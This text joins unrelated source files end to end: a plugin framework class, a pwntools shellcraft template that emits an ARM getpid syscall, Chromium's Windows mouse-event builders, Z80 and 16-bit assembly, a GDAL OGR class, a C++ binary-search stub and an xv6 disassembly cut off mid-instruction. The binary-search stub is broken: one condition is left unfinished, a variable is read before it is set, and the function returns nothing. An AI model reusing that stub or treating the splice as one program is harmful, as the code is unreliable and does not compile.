#include "odkfw_plugin_base.h" #include "odkapi_utils.h" #include "odkbase_basic_values.h" #include "odkbase_if_host.h" #include "odkbase_message_return_value_holder.h" std::uint64_t PLUGIN_API odk::framework::PluginBase::pluginMessage(odk::PluginMessageId id, std::uint64_t key, const odk::IfValue* param, const odk::IfValue** ret) { std::uint64_t ret_code = 0; if (handleMessage(id, key, param, ret, ret_code)) { return ret_code; } for (auto& handler : m_message_handlers) { ret_code = handler->pluginMessage(id, key, param, ret); if (ret_code != odk::error_codes::NOT_IMPLEMENTED) { return ret_code; } } switch (id) { case odk::plugin_msg::INIT: { std::string error_message; auto error_code = init(error_message); if (error_code != odk::error_codes::OK && ret && m_host && error_message.empty()) { auto err_val = m_host->createValue<odk::IfErrorValue>(); if (err_val) { err_val->set(error_code, error_message.c_str()); *ret = err_val.detach(); } } return error_code; } case odk::plugin_msg::DEINIT: return deinit() ? odk::error_codes::OK : odk::error_codes::INTERNAL_ERROR; } return std::numeric_limits<uint64_t>::max(); } bool odk::framework::PluginBase::addTranslation(const char* translation_xml) { odk::MessageReturnValueHolder<odk::IfErrorValue> ret_error; if (sendSyncXMLMessage(getHost(), odk::host_msg::ADD_TRANSLATION, 0, translation_xml, strlen(translation_xml) + 1, ret_error.data())) { if (ret_error) { auto error_message = ret_error->getDescription(); ODK_UNUSED(error_message); } return false; } return true; } bool odk::framework::PluginBase::addQtResources(const void* rcc_data, std::uint64_t rcc_size) { odk::MessageReturnValueHolder<odk::IfErrorValue> ret_error; if (getHost()->messageSyncData(odk::host_msg::ADD_RESOURCES, 0, rcc_data, rcc_size) != odk::error_codes::OK) { if (ret_error) { auto error_message = ret_error->getDescription(); ODK_UNUSED(error_message); } return false; } return true; }
<% from pwnlib.shellcraft.arm.linux import syscall %> <%page args=""/> <%docstring> Invokes the syscall getpid. See 'man 2 getpid' for more information. Arguments: </%docstring> ${syscall('SYS_getpid')}
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/events/blink/web_input_event_builders_win.h" #include <windowsx.h> #include "ui/display/win/screen_win.h" #include "ui/events/blink/blink_event_util.h" #include "ui/events/event_utils.h" using blink::WebInputEvent; using blink::WebKeyboardEvent; using blink::WebMouseEvent; using blink::WebMouseWheelEvent; namespace ui { static const unsigned long kDefaultScrollLinesPerWheelDelta = 3; static const unsigned long kDefaultScrollCharsPerWheelDelta = 1; // WebMouseEvent -------------------------------------------------------------- static int g_last_click_count = 0; static base::TimeTicks g_last_click_time; static LPARAM GetRelativeCursorPos(HWND hwnd) { POINT pos = {-1, -1}; GetCursorPos(&pos); ScreenToClient(hwnd, &pos); return MAKELPARAM(pos.x, pos.y); } WebMouseEvent WebMouseEventBuilder::Build( HWND hwnd, UINT message, WPARAM wparam, LPARAM lparam, base::TimeTicks time_stamp, blink::WebPointerProperties::PointerType pointer_type) { WebInputEvent::Type type = WebInputEvent::Type::kUndefined; WebMouseEvent::Button button = WebMouseEvent::Button::kNoButton; switch (message) { case WM_MOUSEMOVE: type = WebInputEvent::kMouseMove; if (wparam & MK_LBUTTON) button = WebMouseEvent::Button::kLeft; else if (wparam & MK_MBUTTON) button = WebMouseEvent::Button::kMiddle; else if (wparam & MK_RBUTTON) button = WebMouseEvent::Button::kRight; else button = WebMouseEvent::Button::kNoButton; break; case WM_MOUSELEAVE: case WM_NCMOUSELEAVE: // TODO(rbyers): This should be MouseLeave but is disabled temporarily. // See http://crbug.com/450631 type = WebInputEvent::kMouseMove; button = WebMouseEvent::Button::kNoButton; // set the current mouse position (relative to the client area of the // current window) since none is specified for this event lparam = GetRelativeCursorPos(hwnd); break; case WM_LBUTTONDOWN: case WM_LBUTTONDBLCLK: type = WebInputEvent::kMouseDown; button = WebMouseEvent::Button::kLeft; break; case WM_MBUTTONDOWN: case WM_MBUTTONDBLCLK: type = WebInputEvent::kMouseDown; button = WebMouseEvent::Button::kMiddle; break; case WM_RBUTTONDOWN: case WM_RBUTTONDBLCLK: type = WebInputEvent::kMouseDown; button = WebMouseEvent::Button::kRight; break; case WM_XBUTTONDOWN: case WM_XBUTTONDBLCLK: type = WebInputEvent::kMouseDown; if ((HIWORD(wparam) & XBUTTON1)) button = WebMouseEvent::Button::kBack; else if ((HIWORD(wparam) & XBUTTON2)) button = WebMouseEvent::Button::kForward; break; case WM_LBUTTONUP: type = WebInputEvent::kMouseUp; button = WebMouseEvent::Button::kLeft; break; case WM_MBUTTONUP: type = WebInputEvent::kMouseUp; button = WebMouseEvent::Button::kMiddle; break; case WM_RBUTTONUP: type = WebInputEvent::kMouseUp; button = WebMouseEvent::Button::kRight; break; case WM_XBUTTONUP: type = WebInputEvent::kMouseUp; if ((HIWORD(wparam) & XBUTTON1)) button = WebMouseEvent::Button::kBack; else if ((HIWORD(wparam) & XBUTTON2)) button = WebMouseEvent::Button::kForward; break; default: NOTREACHED(); } // set modifiers: int modifiers = ui::EventFlagsToWebEventModifiers(ui::GetModifiersFromKeyState()); if (wparam & MK_CONTROL) modifiers |= WebInputEvent::kControlKey; if (wparam & MK_SHIFT) modifiers |= WebInputEvent::kShiftKey; if (wparam & MK_LBUTTON) modifiers |= WebInputEvent::kLeftButtonDown; if (wparam & MK_MBUTTON) modifiers |= WebInputEvent::kMiddleButtonDown; if (wparam & MK_RBUTTON) modifiers |= WebInputEvent::kRightButtonDown; if (wparam & MK_XBUTTON1) modifiers |= WebInputEvent::kBackButtonDown; if (wparam & MK_XBUTTON2) modifiers |= WebInputEvent::kForwardButtonDown; WebMouseEvent result(type, modifiers, time_stamp); result.pointer_type = pointer_type; result.button = button; // set position fields: result.SetPositionInWidget(GET_X_LPARAM(lparam), GET_Y_LPARAM(lparam)); POINT global_point = {result.PositionInWidget().x, result.PositionInWidget().y}; ClientToScreen(hwnd, &global_point); // We need to convert the global point back to DIP before using it. gfx::PointF dip_global_point = display::win::ScreenWin::ScreenToDIPPoint( gfx::PointF(global_point.x, global_point.y)); result.SetPositionInScreen(dip_global_point.x(), dip_global_point.y()); // calculate number of clicks: // This differs slightly from the WebKit code in WebKit/win/WebView.cpp // where their original code looks buggy. static int last_click_position_x; static int last_click_position_y; static WebMouseEvent::Button last_click_button = WebMouseEvent::Button::kLeft; base::TimeTicks current_time = result.TimeStamp(); bool cancel_previous_click = (abs(last_click_position_x - result.PositionInWidget().x) > (::GetSystemMetrics(SM_CXDOUBLECLK) / 2)) || (abs(last_click_position_y - result.PositionInWidget().y) > (::GetSystemMetrics(SM_CYDOUBLECLK) / 2)) || ((current_time - g_last_click_time).InMilliseconds() > ::GetDoubleClickTime()); if (result.GetType() == WebInputEvent::kMouseDown) { if (!cancel_previous_click && (result.button == last_click_button)) { ++g_last_click_count; } else { g_last_click_count = 1; last_click_position_x = result.PositionInWidget().x; last_click_position_y = result.PositionInWidget().y; } g_last_click_time = current_time; last_click_button = result.button; } else if (result.GetType() == WebInputEvent::kMouseMove || result.GetType() == WebInputEvent::kMouseLeave) { if (cancel_previous_click) { g_last_click_count = 0; last_click_position_x = 0; last_click_position_y = 0; g_last_click_time = base::TimeTicks(); } } result.click_count = g_last_click_count; return result; } // WebMouseWheelEvent --------------------------------------------------------- WebMouseWheelEvent WebMouseWheelEventBuilder::Build( HWND hwnd, UINT message, WPARAM wparam, LPARAM lparam, base::TimeTicks time_stamp, blink::WebPointerProperties::PointerType pointer_type) { WebMouseWheelEvent result( WebInputEvent::kMouseWheel, ui::EventFlagsToWebEventModifiers(ui::GetModifiersFromKeyState()), time_stamp); result.button = WebMouseEvent::Button::kNoButton; result.pointer_type = pointer_type; // Get key state, coordinates, and wheel delta from event. UINT key_state; float wheel_delta; bool horizontal_scroll = false; if ((message == WM_VSCROLL) || (message == WM_HSCROLL)) { // Synthesize mousewheel event from a scroll event. This is needed to // simulate middle mouse scrolling in some laptops. Use GetAsyncKeyState // for key state since we are synthesizing the input event. key_state = 0; if (GetAsyncKeyState(VK_SHIFT) & 0x8000) key_state |= MK_SHIFT; if (GetAsyncKeyState(VK_CONTROL) & 0x8000) key_state |= MK_CONTROL; // NOTE: There doesn't seem to be a way to query the mouse button state // in this case. POINT cursor_position = {0}; GetCursorPos(&cursor_position); result.SetPositionInScreen(cursor_position.x, cursor_position.y); switch (LOWORD(wparam)) { case SB_LINEUP: // == SB_LINELEFT wheel_delta = WHEEL_DELTA; break; case SB_LINEDOWN: // == SB_LINERIGHT wheel_delta = -WHEEL_DELTA; break; case SB_PAGEUP: wheel_delta = 1; result.scroll_by_page = true; break; case SB_PAGEDOWN: wheel_delta = -1; result.scroll_by_page = true; break; default: // We don't supoprt SB_THUMBPOSITION or SB_THUMBTRACK here. wheel_delta = 0; break; } if (message == WM_HSCROLL) horizontal_scroll = true; } else { // Non-synthesized event; we can just read data off the event. key_state = GET_KEYSTATE_WPARAM(wparam); result.SetPositionInScreen(GET_X_LPARAM(lparam), GET_Y_LPARAM(lparam)); // Currently we leave hasPreciseScrollingDeltas false, even for trackpad // scrolls that generate WM_MOUSEWHEEL, since we don't have a good way to // distinguish these from real mouse wheels (crbug.com/545234). wheel_delta = static_cast<float>(GET_WHEEL_DELTA_WPARAM(wparam)); if (message == WM_MOUSEHWHEEL) { horizontal_scroll = true; wheel_delta = -wheel_delta; // Windows is <- -/+ ->, WebKit <- +/- ->. } } // Set modifiers based on key state. int modifiers = result.GetModifiers(); if (key_state & MK_SHIFT) modifiers |= WebInputEvent::kShiftKey; if (key_state & MK_CONTROL) modifiers |= WebInputEvent::kControlKey; if (key_state & MK_LBUTTON) modifiers |= WebInputEvent::kLeftButtonDown; if (key_state & MK_MBUTTON) modifiers |= WebInputEvent::kMiddleButtonDown; if (key_state & MK_RBUTTON) modifiers |= WebInputEvent::kRightButtonDown; result.SetModifiers(modifiers); // Set coordinates by translating event coordinates from screen to client. POINT client_point = {result.PositionInScreen().x, result.PositionInScreen().y}; MapWindowPoints(0, hwnd, &client_point, 1); result.SetPositionInWidget(client_point.x, client_point.y); // Convert wheel delta amount to a number of pixels to scroll. // // How many pixels should we scroll per line? Gecko uses the height of the // current line, which means scroll distance changes as you go through the // page or go to different pages. IE 8 is ~60 px/line, although the value // seems to vary slightly by page and zoom level. Also, IE defaults to // smooth scrolling while Firefox doesn't, so it can get away with somewhat // larger scroll values without feeling as jerky. Here we use 100 px per // three lines (the default scroll amount is three lines per wheel tick). // Even though we have smooth scrolling, we don't make this as large as IE // because subjectively IE feels like it scrolls farther than you want while // reading articles. static const float kScrollbarPixelsPerLine = 100.0f / 3.0f; wheel_delta /= WHEEL_DELTA; float scroll_delta = wheel_delta; if (horizontal_scroll) { unsigned long scroll_chars = kDefaultScrollCharsPerWheelDelta; SystemParametersInfo(SPI_GETWHEELSCROLLCHARS, 0, &scroll_chars, 0); // TODO(pkasting): Should probably have a different multiplier // scrollbarPixelsPerChar here. scroll_delta *= static_cast<float>(scroll_chars) * kScrollbarPixelsPerLine; } else { unsigned long scroll_lines = kDefaultScrollLinesPerWheelDelta; SystemParametersInfo(SPI_GETWHEELSCROLLLINES, 0, &scroll_lines, 0); if (scroll_lines == WHEEL_PAGESCROLL) result.scroll_by_page = true; if (!result.scroll_by_page) { scroll_delta *= static_cast<float>(scroll_lines) * kScrollbarPixelsPerLine; } } // Set scroll amount based on above calculations. WebKit expects positive // deltaY to mean "scroll up" and positive deltaX to mean "scroll left". if (horizontal_scroll) { result.delta_x = scroll_delta; result.wheel_ticks_x = wheel_delta; } else { result.delta_y = scroll_delta; result.wheel_ticks_y = wheel_delta; } return result; } } // namespace ui
; process ; int bind(int sockfd, const struct sockaddr *my_addr, socklen_t addrlen); ; Bind a name to a local address ; This is simplified compared to the full BSD implementation; the Spectranet ; only uses the port address (and sockaddr_in is the only type of struct ; sockaddr that's actually defined). PUBLIC bind_callee PUBLIC ASMDISP_BIND_CALLEE include "spectranet.asm" .bind_callee pop hl ; return addr pop bc ; addrlen pop ix ; my_addr structure ex (sp), hl ; restore return addr, fd now in l ld a, l .asmentry ld e, (ix+2) ; sin_port LSB ld d, (ix+3) ; sin_port MSB HLCALL BIND jr c, err ld hl, 0 ; return code 0 ret .err ld h, 0x80 ; -ve ld l, a ; return code ret defc ASMDISP_BIND_CALLEE = asmentry - bind_callee
;* ;* CW : Character Windows Drivers ;* ;* fx_data.asm : Fixed driver data (linked in) ;***************************************************************************** sBegin DATA assumes DS,DGROUP assumes CS,DGROUP IFDEF DUALOS2 ;* * default characters (tracks INCH strucure) ;* * NOT NEEDED FOR DUALOS2 - SUPPLIED BY FX_CSD3 ELSE ;!DUALOS2 ;* * default characters (tracks INCH strucure) labelB <PUBLIC, inch> IFNDEF KANJI ;* * IBM characters DB 218 ;* chTopLeftCorner1 DB 191 ;* chTopRightCorner1 DB 192 ;* chBottomLeftCorner1 DB 217 ;* chBottomRightCorner1 DB 196 ;* chTopSide1 DB 196 ;* chBottomSide1 DB 179 ;* chLeftSide1 DB 179 ;* chRightSide1 DB 195 ;* chMiddleLeft1 DB 180 ;* chMiddleRight1 DB 201 ;* chTopLeftCorner2 DB 187 ;* chTopRightCorner2 DB 200 ;* chBottomLeftCorner2 DB 188 ;* chBottomRightCorner2 DB 205 ;* chTopSide2 DB 205 ;* chBottomSide2 DB 186 ;* chLeftSide2 DB 186 ;* chRightSide2 DB 24 ;* chUpArrow DB 25 ;* chDownArrow DB 27 ;* chLeftArrow DB 26 ;* chRightArrow DB 7 ;* chBullet DB 0FAH ;* chMiddleDot DB 0B0H ;* chScrollbar DB ' ' ;* chElevator DB 0B1H ;* chShadowInit DB 009H ;* chClose DB 01FH ;* chZoomIn DB 01EH ;* chZoomOut DB 012H ;* chUpDownArrow DB 01DH ;* chLeftRightArrow ELSE ;* * Kanji characters (for Sanyo OAX card) DB 00AH ;* chTopLeftCorner1 DB 00BH ;* chTopRightCorner1 DB 00DH ;* chBottomLeftCorner1 DB 00CH ;* chBottomRightCorner1 DB 008H ;* chTopSide1 DB 008H ;* chBottomSide1 DB 009H ;* chLeftSide1 DB 009H ;* chRightSide1 DB 00EH ;* chMiddleLeft1 DB 010H ;* chMiddleRight1 DB 015H ;* chTopLeftCorner2 DB 016H ;* chTopRightCorner2 DB 018H ;* chBottomLeftCorner2 DB 017H ;* chBottomRightCorner2 DB 013H ;* chTopSide2 DB 013H ;* chBottomSide2 DB 014H ;* chLeftSide2 DB 014H ;* chRightSide2 DB 004H ;* chUpArrow DB 005H ;* chDownArrow DB 007H ;* chLeftArrow DB 006H ;* chRightArrow DB '>' ;* chBullet DB '*' ;* chMiddleDot DB 07FH ;* chScrollbar DB 0DBH ;* chElevator DB ' ' ;* chShadowInit or 7Fh DB 'C' ;* chClose DB '?' ;* chZoomIn DB '?' ;* chZoomOut DB 002H ;* chUpDownArrow DB 003H ;* chLeftRightArrow ENDIF ;KANJI ;* * filler for "inch" structure DW 16 DUP (?) ;* reserved Assert <($-inch) EQ cbInchMin> ENDIF ;!DUALOS2 ;***************************************************************************** labelB <PUBLIC, insj> ;* jump table (see header for INSJ) DD ImodeGuessCurrentCsd DD FQueryInstCsd DD FInitCsd DD TermCsd DD MoveHwCursCsd DD FQueryInftCsd DD FGetColorPaletteCsd DD SetColorPaletteCsd DD PrepUpdateCsd DD DoUpdateCsd DD DoneUpdateCsd DD SpecialUpdateCsd ;* * screen save DD CbSizeVidsCsd DD FSaveVidsCsd DD FRestoreVidsCsd DD SaveVidDataCsd DD RestoreVidDataCsd DD EnableVidsMonitorCsd DD BltArcCsd DD GetCharMapCsd Assert <(($ - insj) / 4) EQ cpfnCsdMin> sEnd DATA ;***************************************************************************** sBegin BSS assumes DS,DGROUP IFDEF DUALDOS3 externW rgwDataCsd ;* * NOT NEEDED FOR DUALOS2 - SUPPLIED BY FX_CSD3 ;* * NOTE: Assertion cbDataCsd(fxdcsd3) <= cbDataCsd(fxdcsd5) ELSE ;!DUALDOS3 globalW rgwDataCsd, <(cbDataCsd / 2) DUP (?)> ;* Screen driver data ENDIF ;!DUALDOS3 sEnd BSS ;*****************************************************************************
/****************************************************************************** * * Project: OGR/DODS Interface * Purpose: Implements OGRDODSFieldDefn class. This is a small class used * to encapsulate information about a referenced field. * Author: Frank Warmerdam, warmerdam@pobox.com * ****************************************************************************** * Copyright (c) 2004, Frank Warmerdam <warmerdam@pobox.com> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "ogr_dods.h" #include "cpl_conv.h" CPL_CVSID("$Id$"); /************************************************************************/ /* OGRDODSFieldDefn() */ /************************************************************************/ OGRDODSFieldDefn::OGRDODSFieldDefn() : bValid(FALSE), pszFieldName(NULL), pszFieldScope(NULL), iFieldIndex(-1), pszFieldValue(NULL), pszPathToSequence(NULL), bRelativeToSuperSequence(FALSE), bRelativeToSequence(FALSE) {} /************************************************************************/ /* ~OGRDODSFieldDefn() */ /************************************************************************/ OGRDODSFieldDefn::~OGRDODSFieldDefn() { CPLFree( pszFieldName ); CPLFree( pszFieldScope ); CPLFree( pszFieldValue ); CPLFree( pszPathToSequence ); } /************************************************************************/ /* Initialize() */ /* */ /* Build field reference from a DAS entry. The AttrTable */ /* passed should be the container of the field defn. For */ /* instance, the "x_field" node with a name and scope sub */ /* entry. */ /************************************************************************/ int OGRDODSFieldDefn::Initialize( AttrTable *poEntry, BaseType *poTarget, BaseType *poSuperSeq ) { const char *pszFieldScope = poEntry->get_attr("scope").c_str(); if( pszFieldScope == NULL ) pszFieldScope = "dds"; return Initialize( poEntry->get_attr("name").c_str(), pszFieldScope, poTarget, poSuperSeq ); } /************************************************************************/ /* Initialize() */ /************************************************************************/ int OGRDODSFieldDefn::Initialize( const char *pszFieldNameIn, const char *pszFieldScopeIn, BaseType *poTarget, BaseType *poSuperSeq ) { pszFieldScope = CPLStrdup( pszFieldScopeIn ); pszFieldName = CPLStrdup( pszFieldNameIn ); if( poTarget != NULL && EQUAL(pszFieldScope,"dds") ) { string oTargPath = OGRDODSGetVarPath( poTarget ); int nTargPathLen = strlen(oTargPath.c_str()); if( EQUALN(oTargPath.c_str(),pszFieldNameIn,nTargPathLen) && pszFieldNameIn[nTargPathLen] == '.' ) { CPLFree( pszFieldName ); pszFieldName = CPLStrdup( pszFieldNameIn + nTargPathLen + 1 ); bRelativeToSequence = TRUE; iFieldIndex = OGRDODSGetVarIndex( dynamic_cast<Sequence *>( poTarget ), pszFieldName ); } else if( poSuperSeq != NULL ) { string oTargPath = OGRDODSGetVarPath( poSuperSeq ); int nTargPathLen = strlen(oTargPath.c_str()); if( EQUALN(oTargPath.c_str(),pszFieldNameIn,nTargPathLen) && pszFieldNameIn[nTargPathLen] == '.' ) { CPLFree( pszFieldName ); pszFieldName = CPLStrdup( pszFieldNameIn + nTargPathLen + 1 ); bRelativeToSuperSequence = TRUE; iFieldIndex = OGRDODSGetVarIndex( dynamic_cast<Sequence *>( poSuperSeq ), pszFieldName ); } } } bValid = TRUE; return TRUE; } /************************************************************************/ /* OGRDODSGetVarPath() */ /* */ /* Return the full path to a variable. */ /************************************************************************/ string OGRDODSGetVarPath( BaseType *poTarget ) { string oFullName; oFullName = poTarget->name(); while( (poTarget = poTarget->get_parent()) != NULL ) { oFullName = poTarget->name() + "." + oFullName; } return oFullName; } /************************************************************************/ /* OGRDODSGetVarIndex() */ /************************************************************************/ int OGRDODSGetVarIndex( Sequence *poParent, string oVarName ) { Sequence::Vars_iter v_i; int i; for( v_i = poParent->var_begin(), i=0; v_i != poParent->var_end(); v_i++, i++ ) { if( EQUAL((*v_i)->name().c_str(),oVarName.c_str()) ) return i; } return -1; }
#include<iostream> int search(int n){ int lower=0; int upper=n; int mid; while(mid<=upper){ mid=(lower+upper)/2; if(mid>=lower) upper=mid; if(mid< ) } }
_echo: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi 5: 53 push %ebx 6: 83 e4 f0 and $0xfffffff0,%esp 9: 83 ec 10 sub $0x10,%esp c: 8b 75 08 mov 0x8(%ebp),%esi f: 8b 7d 0c mov 0xc(%ebp),%edi int i; for(i = 1; i < argc; i++) 12: 83 fe 01 cmp $0x1,%esi 15: 7e 58 jle 6f <main+0x6f> 17: bb 01 00 00 00 mov $0x1,%ebx 1c: eb 26 jmp 44 <main+0x44> 1e: 66 90 xchg %ax,%ax printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n"); 20: c7 44 24 0c 66 07 00 movl $0x766,0xc(%esp) 27: 00 28: 8b 44 9f fc mov -0x4(%edi,%ebx,4),%eax 2c: c7 44 24 04 68 07 00 movl $0x768,0x4(%esp) 33: 00 34: c7 04 24 01 00 00 00 movl $0x1,(%esp) 3b: 89 44 24 08 mov %eax,0x8(%esp) 3f: e8 bc 03 00 00 call 400 <printf> 44: 83 c3 01 add $0x1,%ebx 47: 39 f3 cmp %esi,%ebx 49: 75 d5 jne 20 <main+0x20> 4b: c7 44 24 0c 6d 07 00 movl $0x76d,0xc(%esp) 52: 00 53: 8b 44 9f fc mov -0x4(%edi,%ebx,4),%eax 57: c7 44 24 04 68 07 00 movl $0x768,0x4(%esp) 5e: 00 5f: c7 04 24 01 00 00 00 movl $0x1,(%esp) 66: 89 44 24 08 mov %eax,0x8(%esp) 6a: e8 91 03 00 00 call 400 <printf> exit(); 6f: e8 2e 02 00 00 call 2a2 <exit> 74: 66 90 xchg %ax,%ax 76: 66 90 xchg %ax,%ax 78: 66 90 xchg %ax,%ax 7a: 66 90 xchg %ax,%ax 7c: 66 90 xchg %ax,%ax 7e: 66 90 xchg %ax,%ax 00000080 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 80: 55 push %ebp 81: 89 e5 mov %esp,%ebp 83: 8b 45 08 mov 0x8(%ebp),%eax 86: 8b 4d 0c mov 0xc(%ebp),%ecx 89: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 8a: 89 c2 mov %eax,%edx 8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 90: 83 c1 01 add $0x1,%ecx 93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 97: 83 c2 01 add $0x1,%edx 9a: 84 db test %bl,%bl 9c: 88 5a ff mov %bl,-0x1(%edx) 9f: 75 ef jne 90 <strcpy+0x10> ; return os; } a1: 5b pop %ebx a2: 5d pop %ebp a3: c3 ret a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000b0 <strcmp>: int strcmp(const char *p, const char *q) { b0: 55 push %ebp b1: 89 e5 mov %esp,%ebp b3: 8b 55 08 mov 0x8(%ebp),%edx b6: 53 push %ebx b7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) ba: 0f b6 02 movzbl (%edx),%eax bd: 84 c0 test %al,%al bf: 74 2d je ee <strcmp+0x3e> c1: 0f b6 19 movzbl (%ecx),%ebx c4: 38 d8 cmp %bl,%al c6: 74 0e je d6 <strcmp+0x26> c8: eb 2b jmp f5 <strcmp+0x45> ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi d0: 38 c8 cmp %cl,%al d2: 75 15 jne e9 <strcmp+0x39> p++, q++; d4: 89 d9 mov %ebx,%ecx d6: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d9: 0f b6 02 movzbl (%edx),%eax p++, q++; dc: 8d 59 01 lea 0x1(%ecx),%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) df: 0f b6 49 01 movzbl 0x1(%ecx),%ecx e3: 84 c0 test %al,%al e5: 75 e9 jne d0 <strcmp+0x20> e7: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; e9: 29 c8 sub %ecx,%eax } eb: 5b pop %ebx ec: 5d pop %ebp ed: c3 ret ee: 0f b6 09 movzbl (%ecx),%ecx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) f1: 31 c0 xor %eax,%eax f3: eb f4 jmp e9 <strcmp+0x39> f5: 0f b6 cb movzbl %bl,%ecx f8: eb ef jmp e9 <strcmp+0x39> fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000100 <strlen>: return (uchar)*p - (uchar)*q; } uint strlen(char *s) { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 106: 80 39 00 cmpb $0x0,(%ecx) 109: 74 12 je 11d <strlen+0x1d> 10b: 31 d2 xor %edx,%edx 10d: 8d 76 00 lea 0x0(%esi),%esi 110: 83 c2 01 add $0x1,%edx 113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 117: 89 d0 mov %edx,%eax 119: 75 f5 jne 110 <strlen+0x10> ; return n; } 11b: 5d pop %ebp 11c: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 11d: 31 c0 xor %eax,%eax ; return n; } 11f: 5d pop %ebp 120: c3 ret 121: eb 0d jmp 130 <memset> 123: 90 nop 124: 90 nop 125: 90 nop 126: 90 nop 127: 90 nop 128: 90 nop 129: 90 nop 12a: 90 nop 12b: 90 nop 12c: 90 nop 12d: 90 nop 12e: 90 nop 12f: 90 nop 00000130 <memset>: void* memset(void *dst, int c, uint n) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 8b 55 08 mov 0x8(%ebp),%edx 136: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 137: 8b 4d 10 mov 0x10(%ebp),%ecx 13a: 8b 45 0c mov 0xc(%ebp),%eax 13d: 89 d7 mov %edx,%edi 13f: fc cld 140: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 142: 89 d0 mov %edx,%eax 144: 5f pop %edi 145: 5d pop %ebp 146: c3 ret 147: 89 f6 mov %esi,%esi 149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000150 <strchr>: char* strchr(const char *s, char c) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 8b 45 08 mov 0x8(%ebp),%eax 156: 53 push %ebx 157: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 15a: 0f b6 18 movzbl (%eax),%ebx 15d: 84 db test %bl,%bl 15f: 74 1d je 17e <strchr+0x2e> if(*s == c) 161: 38 d3 cmp %dl,%bl 163: 89 d1 mov %edx,%ecx 165: 75 0d jne 174 <strchr+0x24> 167: eb 17 jmp 180 <strchr+0x30> 169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 170: 38 ca cmp %cl,%dl 172: 74 0c je 180 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 174: 83 c0 01 add $0x1,%eax 177: 0f b6 10 movzbl (%eax),%edx 17a: 84 d2 test %dl,%dl 17c: 75 f2 jne 170 <strchr+0x20> if(*s == c) return (char*)s; return 0; 17e: 31 c0 xor %eax,%eax } 180: 5b pop %ebx 181: 5d pop %ebp 182: c3 ret 183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000190 <gets>: char* gets(char *buf, int max) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 57 push %edi 194: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 195: 31 f6 xor %esi,%esi return 0; } char* gets(char *buf, int max) { 197: 53 push %ebx 198: 83 ec 2c sub $0x2c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ cc = read(0, &c, 1); 19b: 8d 7d e7 lea -0x19(%ebp),%edi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 19e: eb 31 jmp 1d1 <gets+0x41> cc = read(0, &c, 1); 1a0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1a7: 00 1a8: 89 7c 24 04 mov %edi,0x4(%esp) 1ac: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1b3: e8 02 01 00 00 call 2ba <read> if(cc < 1) 1b8: 85 c0 test %eax,%eax 1ba: 7e 1d jle 1d9 <gets+0x49> break; buf[i++] = c; 1bc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1c0: 89 de mov %ebx,%esi cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1c2: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 1c5: 3c 0d cmp $0xd,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1c7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1cb: 74 0c je 1d9 <gets+0x49> 1cd: 3c 0a cmp 